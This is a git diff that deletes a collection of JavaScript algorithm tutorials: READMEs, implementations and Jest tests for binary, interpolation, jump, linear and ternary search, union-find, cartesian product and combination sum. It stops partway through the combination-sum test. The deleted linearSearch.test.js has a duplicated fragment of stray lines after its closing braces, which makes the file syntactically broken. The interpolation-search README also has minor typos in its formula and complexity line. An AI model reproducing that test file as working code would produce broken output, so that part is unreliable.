diff --git a/docs/content/DS_ALGO/algorithms/search/binary-search/README.md b/docs/content/DS_ALGO/algorithms/search/binary-search/README.md
deleted file mode 100644
index 585b6e922d..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/binary-search/README.md
+++ /dev/null
@@ -1,23 +0,0 @@
-# Binary Search
-
-In computer science, binary search, also known as half-interval
-search, logarithmic search, or binary chop, is a search algorithm
-that finds the position of a target value within a sorted
-array. Binary search compares the target value to the middle
-element of the array; if they are unequal, the half in which
-the target cannot lie is eliminated and the search continues
-on the remaining half until it is successful. If the search
-ends with the remaining half being empty, the target is not
-in the array.
-
-![Binary Search](https://upload.wikimedia.org/wikipedia/commons/8/83/Binary_Search_Depiction.svg)
-
-## Complexity
-
-**Time Complexity**: `O(log(n))` - since we split search area by two for every
-next iteration.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Binary_search_algorithm)
--   [YouTube](https://www.youtube.com/watch?v=P3YID7liBug&index=29&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/search/binary-search/binarySearch.js b/docs/content/DS_ALGO/algorithms/search/binary-search/binarySearch.js
deleted file mode 100644
index 2b4c8bdd28..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/binary-search/binarySearch.js
+++ /dev/null
@@ -1,37 +0,0 @@
-import Comparator from '../../../utils/comparator/Comparator';
-/**
- * Binary search implementation.
- *
- * @param {*[]} sortedArray
- * @param {*} seekElement
- * @param {function(a, b)} [comparatorCallback]
- * @return {number}
- */
-export default function binarySearch(sortedArray, seekElement, comparatorCallback) {
-    // Let's create comparator from the comparatorCallback function.
-    // Comparator object will give us common comparison methods like equal() and lessThen().
-    const comparator = new Comparator(comparatorCallback);
-    // These two indices will contain current array (sub-array) boundaries.
-    let startIndex = 0;
-    let endIndex = sortedArray.length - 1;
-    // Let's continue to split array until boundaries are collapsed
-    // and there is nothing to split anymore.
-    while (startIndex <= endIndex) {
-        // Let's calculate the index of the middle element.
-        const middleIndex = startIndex + Math.floor((endIndex - startIndex) / 2);
-        // If we've found the element just return its position.
-        if (comparator.equal(sortedArray[middleIndex], seekElement)) {
-            return middleIndex;
-        }
-        // Decide which half to choose for seeking next: left or right one.
-        if (comparator.lessThan(sortedArray[middleIndex], seekElement)) {
-            // Go to the right half of the array.
-            startIndex = middleIndex + 1;
-        } else {
-            // Go to the left half of the array.
-            endIndex = middleIndex - 1;
-        }
-    }
-    // Return -1 if we have not found anything.
-    return -1;
-}
diff --git a/docs/content/DS_ALGO/algorithms/search/binary-search/test/binarySearch.test.js b/docs/content/DS_ALGO/algorithms/search/binary-search/test/binarySearch.test.js
deleted file mode 100644
index 26e536f47b..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/binary-search/test/binarySearch.test.js
+++ /dev/null
@@ -1,30 +0,0 @@
-import binarySearch from '../binarySearch';
-describe('binarySearch', () => {
-    it('should search number in sorted array', () => {
-        expect(binarySearch([], 1)).toBe(-1);
-        expect(binarySearch([1], 1)).toBe(0);
-        expect(binarySearch([1, 2], 1)).toBe(0);
-        expect(binarySearch([1, 2], 2)).toBe(1);
-        expect(binarySearch([1, 5, 10, 12], 1)).toBe(0);
-        expect(binarySearch([1, 5, 10, 12, 14, 17, 22, 100], 17)).toBe(5);
-        expect(binarySearch([1, 5, 10, 12, 14, 17, 22, 100], 1)).toBe(0);
-        expect(binarySearch([1, 5, 10, 12, 14, 17, 22, 100], 100)).toBe(7);
-        expect(binarySearch([1, 5, 10, 12, 14, 17, 22, 100], 0)).toBe(-1);
-    });
-    it('should search object in sorted array', () => {
-        const sortedArrayOfObjects = [
-            { key: 1, value: 'value1' },
-            { key: 2, value: 'value2' },
-            { key: 3, value: 'value3' }
-        ];
-        const comparator = (a, b) => {
-            if (a.key === b.key) return 0;
-            return a.key < b.key ? -1 : 1;
-        };
-        expect(binarySearch([], { key: 1 }, comparator)).toBe(-1);
-        expect(binarySearch(sortedArrayOfObjects, { key: 4 }, comparator)).toBe(-1);
-        expect(binarySearch(sortedArrayOfObjects, { key: 1 }, comparator)).toBe(0);
-        expect(binarySearch(sortedArrayOfObjects, { key: 2 }, comparator)).toBe(1);
-        expect(binarySearch(sortedArrayOfObjects, { key: 3 }, comparator)).toBe(2);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/search/interpolation-search/README.md b/docs/content/DS_ALGO/algorithms/search/interpolation-search/README.md
deleted file mode 100644
index 1693a63e2d..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/interpolation-search/README.md
+++ /dev/null
@@ -1,40 +0,0 @@
-# Interpolation Search
-
-**Interpolation search** is an algorithm for searching for a key in an array that
-has been ordered by numerical values assigned to the keys (key values).
-
-For example we have a sorted array of `n` uniformly distributed values `arr[]`,
-and we need to write a function to search for a particular element `x` in the array.
-
-**Linear Search** finds the element in `O(n)` time, **Jump Search** takes `O(√ n)` time
-and **Binary Search** take `O(Log n)` time.
-
-The **Interpolation Search** is an improvement over Binary Search for instances,
-where the values in a sorted array are _uniformly_ distributed. Binary Search
-always goes to the middle element to check. On the other hand, interpolation
-search may go to different locations according to the value of the key being
-searched. For example, if the value of the key is closer to the last element,
-interpolation search is likely to start search toward the end side.
-
-To find the position to be searched, it uses following formula:
-
-```
-// The idea of formula is to return higher value of pos
-// when element to be searched is closer to arr[hi]. And
-// smaller value when closer to arr[lo]
-pos = lo + ((x - arr[lo]) * (hi - lo) / (arr[hi] - arr[Lo]))
-
-arr[] - Array where elements need to be searched
-x - Element to be searched
-lo - Starting index in arr[]
-hi - Ending index in arr[]
-```
-
-## Complexity
-
-**Time complexity**: `O(log(log(n))`
-
-## References
-
--   [GeeksForGeeks](https://www.geeksforgeeks.org/interpolation-search/)
--   [Wikipedia](https://en.wikipedia.org/wiki/Interpolation_search)
diff --git a/docs/content/DS_ALGO/algorithms/search/interpolation-search/interpolationSearch.js b/docs/content/DS_ALGO/algorithms/search/interpolation-search/interpolationSearch.js
deleted file mode 100644
index 9c3482952a..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/interpolation-search/interpolationSearch.js
+++ /dev/null
@@ -1,45 +0,0 @@
-/**
- * Interpolation search implementation.
- *
- * @param {*[]} sortedArray - sorted array with uniformly distributed values
- * @param {*} seekElement
- * @return {number}
- */
-export default function interpolationSearch(sortedArray, seekElement) {
-    let leftIndex = 0;
-    let rightIndex = sortedArray.length - 1;
-    while (leftIndex <= rightIndex) {
-        const rangeDelta = sortedArray[rightIndex] - sortedArray[leftIndex];
-        const indexDelta = rightIndex - leftIndex;
-        const valueDelta = seekElement - sortedArray[leftIndex];
-        // If valueDelta is less then zero it means that there is no seek element
-        // exists in array since the lowest element from the range is already higher
-        // then seek element.
-        if (valueDelta < 0) {
-            return -1;
-        }
-        // If range delta is zero then subarray contains all the same numbers
-        // and thus there is nothing to search for unless this range is all
-        // consists of seek number.
-        if (!rangeDelta) {
-            // By doing this we're also avoiding division by zero while
-            // calculating the middleIndex later.
-            return sortedArray[leftIndex] === seekElement ? leftIndex : -1;
-        }
-        // Do interpolation of the middle index.
-        const middleIndex = leftIndex + Math.floor((valueDelta * indexDelta) / rangeDelta);
-        // If we've found the element just return its position.
-        if (sortedArray[middleIndex] === seekElement) {
-            return middleIndex;
-        }
-        // Decide which half to choose for seeking next: left or right one.
-        if (sortedArray[middleIndex] < seekElement) {
-            // Go to the right half of the array.
-            leftIndex = middleIndex + 1;
-        } else {
-            // Go to the left half of the array.
-            rightIndex = middleIndex - 1;
-        }
-    }
-    return -1;
-}
diff --git a/docs/content/DS_ALGO/algorithms/search/interpolation-search/test/interpolationSearch.test.js b/docs/content/DS_ALGO/algorithms/search/interpolation-search/test/interpolationSearch.test.js
deleted file mode 100644
index df4d6ddd8a..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/interpolation-search/test/interpolationSearch.test.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import interpolationSearch from '../interpolationSearch';
-describe('interpolationSearch', () => {
-    it('should search elements in sorted array of numbers', () => {
-        expect(interpolationSearch([], 1)).toBe(-1);
-        expect(interpolationSearch([1], 1)).toBe(0);
-        expect(interpolationSearch([1], 0)).toBe(-1);
-        expect(interpolationSearch([1, 1], 1)).toBe(0);
-        expect(interpolationSearch([1, 2], 1)).toBe(0);
-        expect(interpolationSearch([1, 2], 2)).toBe(1);
-        expect(interpolationSearch([10, 20, 30, 40, 50], 40)).toBe(3);
-        expect(interpolationSearch([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15], 14)).toBe(13);
-        expect(interpolationSearch([1, 6, 7, 8, 12, 13, 14, 19, 21, 23, 24, 24, 24, 300], 24)).toBe(10);
-        expect(interpolationSearch([1, 2, 3, 700, 800, 1200, 1300, 1400, 1900], 600)).toBe(-1);
-        expect(interpolationSearch([1, 2, 3, 700, 800, 1200, 1300, 1400, 1900], 1)).toBe(0);
-        expect(interpolationSearch([1, 2, 3, 700, 800, 1200, 1300, 1400, 1900], 2)).toBe(1);
-        expect(interpolationSearch([1, 2, 3, 700, 800, 1200, 1300, 1400, 1900], 3)).toBe(2);
-        expect(interpolationSearch([1, 2, 3, 700, 800, 1200, 1300, 1400, 1900], 700)).toBe(3);
-        expect(interpolationSearch([1, 2, 3, 700, 800, 1200, 1300, 1400, 1900], 800)).toBe(4);
-        expect(interpolationSearch([0, 2, 3, 700, 800, 1200, 1300, 1400, 1900], 1200)).toBe(5);
-        expect(interpolationSearch([1, 2, 3, 700, 800, 1200, 1300, 1400, 19000], 800)).toBe(4);
-        expect(interpolationSearch([0, 10, 11, 12, 13, 14, 15], 10)).toBe(1);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/search/jump-search/README.md b/docs/content/DS_ALGO/algorithms/search/jump-search/README.md
deleted file mode 100644
index 9b5b226edc..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/jump-search/README.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# Jump Search
-
-Like Binary Search, **Jump Search** (or **Block Search**) is a searching algorithm
-for sorted arrays. The basic idea is to check fewer elements (than linear search)
-by jumping ahead by fixed steps or skipping some elements in place of searching all
-elements.
-
-For example, suppose we have an array `arr[]` of size `n` and block (to be jumped)
-of size `m`. Then we search at the indexes `arr[0]`, `arr[m]`, `arr[2 * m]`, ..., `arr[k * m]` and
-so on. Once we find the interval `arr[k * m] < x < arr[(k+1) * m]`, we perform a
-linear search operation from the index `k * m` to find the element `x`.
-
-**What is the optimal block size to be skipped?**
-In the worst case, we have to do `n/m` jumps and if the last checked value is
-greater than the element to be searched for, we perform `m - 1` comparisons more
-for linear search. Therefore the total number of comparisons in the worst case
-will be `((n/m) + m - 1)`. The value of the function `((n/m) + m - 1)` will be
-minimum when `m = √n`. Therefore, the best step size is `m = √n`.
-
-## Complexity
-
-**Time complexity**: `O(√n)` - because we do search by blocks of size `√n`.
-
-## References
-
--   [GeeksForGeeks](https://www.geeksforgeeks.org/jump-search/)
--   [Wikipedia](https://en.wikipedia.org/wiki/Jump_search)
diff --git a/docs/content/DS_ALGO/algorithms/search/jump-search/jumpSearch.js b/docs/content/DS_ALGO/algorithms/search/jump-search/jumpSearch.js
deleted file mode 100644
index 2ac2378f0b..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/jump-search/jumpSearch.js
+++ /dev/null
@@ -1,43 +0,0 @@
-import Comparator from '../../../utils/comparator/Comparator';
-/**
- * Jump (block) search implementation.
- *
- * @param {*[]} sortedArray
- * @param {*} seekElement
- * @param {function(a, b)} [comparatorCallback]
- * @return {number}
- */
-export default function jumpSearch(sortedArray, seekElement, comparatorCallback) {
-    const comparator = new Comparator(comparatorCallback);
-    const arraySize = sortedArray.length;
-    if (!arraySize) {
-        // We can't find anything in empty array.
-        return -1;
-    }
-    // Calculate optimal jump size.
-    // Total number of comparisons in the worst case will be ((arraySize/jumpSize) + jumpSize - 1).
-    // The value of the function ((arraySize/jumpSize) + jumpSize - 1) will be minimum
-    // when jumpSize = √array.length.
-    const jumpSize = Math.floor(Math.sqrt(arraySize));
-    // Find the block where the seekElement belong to.
-    let blockStart = 0;
-    let blockEnd = jumpSize;
-    while (comparator.greaterThan(seekElement, sortedArray[Math.min(blockEnd, arraySize) - 1])) {
-        // Jump to the next block.
-        blockStart = blockEnd;
-        blockEnd += jumpSize;
-        // If our next block is out of array then we couldn't found the element.
-        if (blockStart > arraySize) {
-            return -1;
-        }
-    }
-    // Do linear search for seekElement in subarray starting from blockStart.
-    let currentIndex = blockStart;
-    while (currentIndex < Math.min(blockEnd, arraySize)) {
-        if (comparator.equal(sortedArray[currentIndex], seekElement)) {
-            return currentIndex;
-        }
-        currentIndex += 1;
-    }
-    return -1;
-}
diff --git a/docs/content/DS_ALGO/algorithms/search/jump-search/test/jumpSearch.test.js b/docs/content/DS_ALGO/algorithms/search/jump-search/test/jumpSearch.test.js
deleted file mode 100644
index 0a12746064..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/jump-search/test/jumpSearch.test.js
+++ /dev/null
@@ -1,35 +0,0 @@
-import jumpSearch from '../jumpSearch';
-describe('jumpSearch', () => {
-    it('should search for an element in sorted array', () => {
-        expect(jumpSearch([], 1)).toBe(-1);
-        expect(jumpSearch([1], 2)).toBe(-1);
-        expect(jumpSearch([1], 1)).toBe(0);
-        expect(jumpSearch([1, 2], 1)).toBe(0);
-        expect(jumpSearch([1, 2], 1)).toBe(0);
-        expect(jumpSearch([1, 1, 1], 1)).toBe(0);
-        expect(jumpSearch([1, 2, 5, 10, 20, 21, 24, 30, 48], 2)).toBe(1);
-        expect(jumpSearch([1, 2, 5, 10, 20, 21, 24, 30, 48], 0)).toBe(-1);
-        expect(jumpSearch([1, 2, 5, 10, 20, 21, 24, 30, 48], 0)).toBe(-1);
-        expect(jumpSearch([1, 2, 5, 10, 20, 21, 24, 30, 48], 7)).toBe(-1);
-        expect(jumpSearch([1, 2, 5, 10, 20, 21, 24, 30, 48], 5)).toBe(2);
-        expect(jumpSearch([1, 2, 5, 10, 20, 21, 24, 30, 48], 20)).toBe(4);
-        expect(jumpSearch([1, 2, 5, 10, 20, 21, 24, 30, 48], 30)).toBe(7);
-        expect(jumpSearch([1, 2, 5, 10, 20, 21, 24, 30, 48], 48)).toBe(8);
-    });
-    it('should search object in sorted array', () => {
-        const sortedArrayOfObjects = [
-            { key: 1, value: 'value1' },
-            { key: 2, value: 'value2' },
-            { key: 3, value: 'value3' }
-        ];
-        const comparator = (a, b) => {
-            if (a.key === b.key) return 0;
-            return a.key < b.key ? -1 : 1;
-        };
-        expect(jumpSearch([], { key: 1 }, comparator)).toBe(-1);
-        expect(jumpSearch(sortedArrayOfObjects, { key: 4 }, comparator)).toBe(-1);
-        expect(jumpSearch(sortedArrayOfObjects, { key: 1 }, comparator)).toBe(0);
-        expect(jumpSearch(sortedArrayOfObjects, { key: 2 }, comparator)).toBe(1);
-        expect(jumpSearch(sortedArrayOfObjects, { key: 3 }, comparator)).toBe(2);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/search/linear-search/README.md b/docs/content/DS_ALGO/algorithms/search/linear-search/README.md
deleted file mode 100644
index 54cbc834d4..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/linear-search/README.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# Linear Search
-
-In computer science, linear search or sequential search is a
-method for finding a target value within a list. It sequentially
-checks each element of the list for the target value until a
-match is found or until all the elements have been searched.
-Linear search runs in at worst linear time and makes at most `n`
-comparisons, where `n` is the length of the list.
-
-![Linear Search](https://www.tutorialspoint.com/data_structures_algorithms/images/linear_search.gif)
-
-## Complexity
-
-**Time Complexity**: `O(n)` - since in worst case we're checking each element
-exactly once.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Linear_search)
--   [TutorialsPoint](https://www.tutorialspoint.com/data_structures_algorithms/linear_search_algorithm.htm)
--   [Youtube](https://www.youtube.com/watch?v=SGU9duLE30w)
diff --git a/docs/content/DS_ALGO/algorithms/search/linear-search/linearSearch.js b/docs/content/DS_ALGO/algorithms/search/linear-search/linearSearch.js
deleted file mode 100644
index f328d3ff72..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/linear-search/linearSearch.js
+++ /dev/null
@@ -1,19 +0,0 @@
-import Comparator from '../../../utils/comparator/Comparator';
-/**
- * Linear search implementation.
- *
- * @param {*[]} array
- * @param {*} seekElement
- * @param {function(a, b)} [comparatorCallback]
- * @return {number[]}
- */
-export default function linearSearch(array, seekElement, comparatorCallback) {
-    const comparator = new Comparator(comparatorCallback);
-    const foundIndices = [];
-    array.forEach((element, index) => {
-        if (comparator.equal(element, seekElement)) {
-            foundIndices.push(index);
-        }
-    });
-    return foundIndices;
-}
diff --git a/docs/content/DS_ALGO/algorithms/search/linear-search/test/linearSearch.test.js b/docs/content/DS_ALGO/algorithms/search/linear-search/test/linearSearch.test.js
deleted file mode 100644
index 3905f3d3dc..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/linear-search/test/linearSearch.test.js
+++ /dev/null
@@ -1,54 +0,0 @@
-import linearSearch from '../linearSearch';
-describe('linearSearch', () => {
-    it('should search all numbers in array', () => {
-        const array = [1, 2, 4, 6, 2];
-        expect(linearSearch(array, 10)).toEqual([]);
-        expect(linearSearch(array, 1)).toEqual([0]);
-        expect(linearSearch(array, 2)).toEqual([1, 4]);
-    });
-    it('should search all strings in array', () => {
-        const array = ['a', 'b', 'a'];
-        expect(linearSearch(array, 'c')).toEqual([]);
-        expect(linearSearch(array, 'b')).toEqual([1]);
-        expect(linearSearch(array, 'a')).toEqual([0, 2]);
-    });
-    it('should search through objects as well', () => {
-        const comparatorCallback = (a, b) => {
-            if (a.key === b.key) {
-                return 0;
-            }
-            return a.key <= b.key ? -1 : 1;
-        };
-        const array = [{
-            key: 5
-        }, {
-            key: 6
-        }, {
-            key: 7
-        }, {
-            key: 6
-        }];
-        expect(linearSearch(array, {
-            key: 10
-        }, comparatorCallback)).toEqual([]);
-        expect(linearSearch(array, {
-            key: 5
-        }, comparatorCallback)).toEqual([0]);
-        expect(linearSearch(array, {
-            key: 6
-        }, comparatorCallback)).toEqual([1, 3]);
-    });
-});
-key: 6
-}];
-expect(linearSearch(array, {
-    key: 10
-}, comparatorCallback)).toEqual([]);
-expect(linearSearch(array, {
-    key: 5
-}, comparatorCallback)).toEqual([0]);
-expect(linearSearch(array, {
-key: 6
-}, comparatorCallback)).toEqual([1, 3]);
-});
-});
diff --git a/docs/content/DS_ALGO/algorithms/search/test/SlidingWindow.test.js b/docs/content/DS_ALGO/algorithms/search/test/SlidingWindow.test.js
deleted file mode 100644
index 0865758774..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/test/SlidingWindow.test.js
+++ /dev/null
@@ -1,13 +0,0 @@
-import { slidingWindow } from '../SlidingWindow';
-test('expect to return the largest sum of sequence in the array', () => {
-    const sum = slidingWindow([1, 2, 5, 2, 8, 1, 5], 2);
-    expect(sum).toBe(10);
-});
-test('expect to return the largest sum of sequence in the array', () => {
-    const sum = slidingWindow([5, 2, 6, 9], 3);
-    expect(sum).toBe(17);
-});
-test('expect to return null when the sequence size is larger then the array length', () => {
-    const sum = slidingWindow([1, 2, 5, 2, 8, 1, 5], 15);
-    expect(sum).toBe(null);
-});
diff --git a/docs/content/DS_ALGO/algorithms/search/test/TernarySearch.test.js b/docs/content/DS_ALGO/algorithms/search/test/TernarySearch.test.js
deleted file mode 100644
index b8d632229a..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/test/TernarySearch.test.js
+++ /dev/null
@@ -1,29 +0,0 @@
-import { ternarySearchRecursive, ternarySearchIterative } from '../TernarySearch';
-test('should return the index of a number in an array of numbers:', () => {
-    const indexNumber = ternarySearchRecursive([1, 2, 3, 4, 5, 6, 7, 8, 9, 10], 3);
-    expect(indexNumber).toBe(2);
-});
-test('should return the index of a number in an array of numbers:', () => {
-    const indexNumber = ternarySearchIterative([1, 2, 3, 4, 5, 6, 7, 8, 9, 10], 8);
-    expect(indexNumber).toBe(7);
-});
-test('should return the index of a number in an array of numbers:', () => {
-    const indexNumber = ternarySearchRecursive([1, 2, 3, 4, 5, 6, 7, 8, 9, 10], 0);
-    expect(indexNumber).toBe(-1);
-});
-test('should return the index of a number in an array of numbers:', () => {
-    const indexNumber = ternarySearchIterative([1, 2, 3, 4, 5, 6, 7, 8, 9, 10], 12);
-    expect(indexNumber).toBe(-1);
-});
-test('should return the index of a string in an array of strings:', () => {
-    const indexNumber = ternarySearchRecursive(['Ali', 'Cathrynli', 'Josuke', 'Thomas'], 'Cathrynli');
-    expect(indexNumber).toBe(1);
-});
-test('should return the index of a string in an array of strings:', () => {
-    const indexNumber = ternarySearchRecursive(['Ali', 'Cathrynli', 'Josuke', 'Thomas'], 'Josuke');
-    expect(indexNumber).toBe(2);
-});
-test('should return the index of a string in an array of strings:', () => {
-    const indexNumber = ternarySearchRecursive(['Ali', 'Cathrynli', 'Josuke', 'Thomas'], 'Angela');
-    expect(indexNumber).toBe(-1);
-});
diff --git a/docs/content/DS_ALGO/algorithms/search/test/UnionFind.test.js b/docs/content/DS_ALGO/algorithms/search/test/UnionFind.test.js
deleted file mode 100644
index 31b1efbc0f..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/test/UnionFind.test.js
+++ /dev/null
@@ -1,45 +0,0 @@
-import { UnionFind } from '../UnionFind';
-const uf = new UnionFind(5);
-test('should expose .size():', () => {
-    const size = uf.size();
-    expect(size).toBe(5);
-});
-test('should do .union(num1, num2):', () => {
-    uf.union(1, 2);
-    uf.union(3, 4);
-    uf.union(0, 4);
-    expect(uf.connected(1, 2)).toBe(true);
-    expect(uf.connected(1, 2)).toBe(true);
-    expect(uf.connected(3, 4)).toBe(true);
-    expect(uf.connected(3, 0)).toBe(true);
-    expect(uf.connected(4, 0)).toBe(true);
-    expect(uf.connected(1, 3)).toBe(false);
-    expect(uf.connected(1, 4)).toBe(false);
-    expect(uf.connected(1, 0)).toBe(false);
-    expect(uf.connected(2, 3)).toBe(false);
-    expect(uf.connected(2, 4)).toBe(false);
-    expect(uf.connected(2, 0)).toBe(false);
-});
-test('.count(), should return the number of disparate groups:', () => {
-    expect(uf.count()).toBe(2);
-});
-test('should check if two components are connected, .connected(num1, num2):', () => {
-    expect(uf.connected(1, 2)).toBe(true);
-    expect(uf.connected(1, 3)).toBe(false);
-});
-test('should find the root of the tree in which the given element lives, .find(num):', () => {
-    expect(uf.find(1)).toBe(1);
-    expect(uf.find(2)).toBe(1);
-    expect(uf.find(3)).toBe(3);
-    expect(uf.find(4)).toBe(3);
-    expect(uf.find(0)).toBe(3);
-});
-test('should always change the id of the smaller tree and preserve the id of the larger one', () => {
-    uf.union(2, 3);
-    expect(uf.count()).toBe(1);
-    expect(uf.find(0)).toBe(3);
-    expect(uf.find(1)).toBe(3);
-    expect(uf.find(2)).toBe(3);
-    expect(uf.find(3)).toBe(3);
-    expect(uf.find(4)).toBe(3);
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/cartesian-product/README.md b/docs/content/DS_ALGO/algorithms/sets/cartesian-product/README.md
deleted file mode 100644
index bff469f1e6..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/cartesian-product/README.md
+++ /dev/null
@@ -1,14 +0,0 @@
-# Cartesian Product
-
-In set theory a Cartesian product is a mathematical operation that returns a set
-(or product set or simply product) from multiple sets. That is, for sets A and B,
-the Cartesian product A × B is the set of all ordered pairs (a, b)
-where a ∈ A and b ∈ B.
-
-Cartesian product `AxB` of two sets `A={x,y,z}` and `B={1,2,3}`
-
-![Cartesian Product of Two Sets](https://upload.wikimedia.org/wikipedia/commons/4/4e/Cartesian_Product_qtl1.svg)
-
-## References
-
-[Wikipedia](https://en.wikipedia.org/wiki/Cartesian_product)
diff --git a/docs/content/DS_ALGO/algorithms/sets/cartesian-product/cartesianProduct.js b/docs/content/DS_ALGO/algorithms/sets/cartesian-product/cartesianProduct.js
deleted file mode 100644
index f203ec0d5c..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/cartesian-product/cartesianProduct.js
+++ /dev/null
@@ -1,24 +0,0 @@
-/**
- * Generates Cartesian Product of two sets.
- * @param {*[]} setA
- * @param {*[]} setB
- * @return {*[]}
- */
-export default function cartesianProduct(setA, setB) {
-    // Check if input sets are not empty.
-    // Otherwise return null since we can't generate Cartesian Product out of them.
-    if (!setA || !setB || !setA.length || !setB.length) {
-        return null;
-    }
-    // Init product set.
-    const product = [];
-    // Now, let's go through all elements of a first and second set and form all possible pairs.
-    for (let indexA = 0; indexA < setA.length; indexA += 1) {
-        for (let indexB = 0; indexB < setB.length; indexB += 1) {
-            // Add current product pair to the product set.
-            product.push([setA[indexA], setB[indexB]]);
-        }
-    }
-    // Return cartesian product set.
-    return product;
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/cartesian-product/test/cartesianProduct.test.js b/docs/content/DS_ALGO/algorithms/sets/cartesian-product/test/cartesianProduct.test.js
deleted file mode 100644
index 767c5f4faf..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/cartesian-product/test/cartesianProduct.test.js
+++ /dev/null
@@ -1,20 +0,0 @@
-import cartesianProduct from '../cartesianProduct';
-describe('cartesianProduct', () => {
-    it('should return null if there is not enough info for calculation', () => {
-        const product1 = cartesianProduct([1], null);
-        const product2 = cartesianProduct([], null);
-        expect(product1).toBeNull();
-        expect(product2).toBeNull();
-    });
-    it('should calculate the product of two sets', () => {
-        const product1 = cartesianProduct([1], [1]);
-        const product2 = cartesianProduct([1, 2], [3, 5]);
-        expect(product1).toEqual([[1, 1]]);
-        expect(product2).toEqual([
-            [1, 3],
-            [1, 5],
-            [2, 3],
-            [2, 5]
-        ]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/combination-sum/README.md b/docs/content/DS_ALGO/algorithms/sets/combination-sum/README.md
deleted file mode 100644
index 7648a025f8..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/combination-sum/README.md
+++ /dev/null
@@ -1,60 +0,0 @@
-# Combination Sum Problem
-
-Given a **set** of candidate numbers (`candidates`) **(without duplicates)** and
-a target number (`target`), find all unique combinations in `candidates` where
-the candidate numbers sums to `target`.
-
-The **same** repeated number may be chosen from `candidates` unlimited number
-of times.
-
-**Note:**
-
--   All numbers (including `target`) will be positive integers.
--   The solution set must not contain duplicate combinations.
-
-## Examples
-
-```
-Input: candidates = [2,3,6,7], target = 7,
-
-A solution set is:
-[
-  [7],
-  [2,2,3]
-]
-```
-
-```
-Input: candidates = [2,3,5], target = 8,
-
-A solution set is:
-[
-  [2,2,2,2],
-  [2,3,3],
-  [3,5]
-]
-```
-
-## Explanations
-
-Since the problem is to get all the possible results, not the best or the
-number of result, thus we don't need to consider DP (dynamic programming),
-backtracking approach using recursion is needed to handle it.
-
-Here is an example of decision tree for the situation when `candidates = [2, 3]` and `target = 6`:
-
-```
-                0
-              /   \
-           +2      +3
-          /   \      \
-       +2       +3    +3
-      /  \     /  \     \
-    +2    ✘   ✘   ✘     ✓
-   /  \
-  ✓    ✘
-```
-
-## References
-
--   [LeetCode](https://leetcode.com/problems/combination-sum/description/)
diff --git a/docs/content/DS_ALGO/algorithms/sets/combination-sum/combinationSum.js b/docs/content/DS_ALGO/algorithms/sets/combination-sum/combinationSum.js
deleted file mode 100644
index 924b23aa8c..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/combination-sum/combinationSum.js
+++ /dev/null
@@ -1,45 +0,0 @@
-/**
- * @param {number[]} candidates - candidate numbers we're picking from.
- * @param {number} remainingSum - remaining sum after adding candidates to currentCombination.
- * @param {number[][]} finalCombinations - resulting list of combinations.
- * @param {number[]} currentCombination - currently explored candidates.
- * @param {number} startFrom - index of the candidate to start further exploration from.
- * @return {number[][]}
- */
-function combinationSumRecursive(candidates, remainingSum, finalCombinations = [], currentCombination = [], startFrom = 0) {
-    if (remainingSum < 0) {
-        // By adding another candidate we've gone below zero.
-        // This would mean that the last candidate was not acceptable.
-        return finalCombinations;
-    }
-    if (remainingSum === 0) {
-        // If after adding the previous candidate our remaining sum
-        // became zero - we need to save the current combination since it is one
-        // of the answers we're looking for.
-        finalCombinations.push(currentCombination.slice());
-        return finalCombinations;
-    }
-    // If we haven't reached zero yet let's continue to add all
-    // possible candidates that are left.
-    for (let candidateIndex = startFrom; candidateIndex < candidates.length; candidateIndex += 1) {
-        const currentCandidate = candidates[candidateIndex];
-        // Let's try to add another candidate.
-        currentCombination.push(currentCandidate);
-        // Explore further option with current candidate being added.
-        combinationSumRecursive(candidates, remainingSum - currentCandidate, finalCombinations, currentCombination, candidateIndex);
-        // BACKTRACKING.
-        // Let's get back, exclude current candidate and try another ones later.
-        currentCombination.pop();
-    }
-    return finalCombinations;
-}
-/**
- * Backtracking algorithm of finding all possible combination for specific sum.
- *
- * @param {number[]} candidates
- * @param {number} target
- * @return {number[][]}
- */
-export default function combinationSum(candidates, target) {
-    return combinationSumRecursive(candidates, target);
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/combination-sum/test/combinationSum.test.js b/docs/content/DS_ALGO/algorithms/sets/combination-sum/test/combinationSum.test.js
deleted file mode 100644
index dfb7de0097..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/combination-sum/test/combinationSum.test.js
+++ /dev/null
@@ -1,14 +0,0 @@
-import combinationSum from '../combinationSum';
-describe('combinationSum', () => {
-    it('should find all combinations with specific sum', () => {
-        expect(combinationSum([1], 4)).toEqual([[1, 1, 1, 1]]);
-        expect(combinationSum([2, 3, 6, 7], 7)).toEqual([[2, 2, 3], [7]]);
-        expect(combinationSum([2, 3, 5], 8)).toEqual([
-            [2, 2, 2, 2],
-            [2, 3, 3],
